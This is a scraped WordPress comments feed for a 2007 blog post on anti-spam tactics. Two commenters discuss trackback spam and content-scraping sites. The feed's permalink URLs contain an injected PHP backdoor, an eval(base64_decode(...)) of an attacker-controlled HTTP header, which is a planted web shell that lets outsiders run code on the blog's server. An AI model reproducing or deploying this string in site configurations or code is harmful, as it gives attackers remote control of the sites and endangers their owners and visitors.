Comments on: Anti-Spam Tactics, Peter’s Custom Anti-Spam, and Trackbacks http://metabestblogwin.com/2007/09/03/anti-spam-tactics-peters-custom-anti-spam-and-trackbacks/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ It's like that story in D. Hofstadter's book about the Tortoise, Achilles and the Djinni who pushed and popped their way into nested levels of awareness, only it's a blog. Tue, 07 Sep 2010 19:28:02 +0000 http://wordpress.org/?v=2.7.1 hourly 1 By: nickel http://metabestblogwin.com/2007/09/03/anti-spam-tactics-peters-custom-anti-spam-and-trackbacks/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-1753 nickel Tue, 04 Sep 2007 02:14:02 +0000 http://metabestblogwin.com/2007/09/03/anti-spam-tactics-peters-custom-anti-spam-and-trackbacks/#comment-1753 I get the same thing. It's usually the same sites over and over, though, so if I flag them as spam, Spam Karma learns and stops accepting them. That being said, I did consider just shutting off trackbacks, even after I figured out the problem. I relented, though, as accepting a trackback link is the least I can do for people that are willing to write about and link to my content. I get the same thing. It’s usually the same sites over and over, though, so if I flag them as spam, Spam Karma learns and stops accepting them.

That being said, I did consider just shutting off trackbacks, even after I figured out the problem. I relented, though, as accepting a trackback link is the least I can do for people that are willing to write about and link to my content.

]]> By: Flexo http://metabestblogwin.com/2007/09/03/anti-spam-tactics-peters-custom-anti-spam-and-trackbacks/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-1744 Flexo Mon, 03 Sep 2007 15:13:10 +0000 http://metabestblogwin.com/2007/09/03/anti-spam-tactics-peters-custom-anti-spam-and-trackbacks/#comment-1744 I get inundated with trackbacks/pingbacks that are legitimate -- that is, their post links to my post being tracked back -- but the website is clearly scraping content. It's leading me to strongly consider turning off all trackbacks. I get inundated with trackbacks/pingbacks that are legitimate — that is, their post links to my post being tracked back — but the website is clearly scraping content. It’s leading me to strongly consider turning off all trackbacks.

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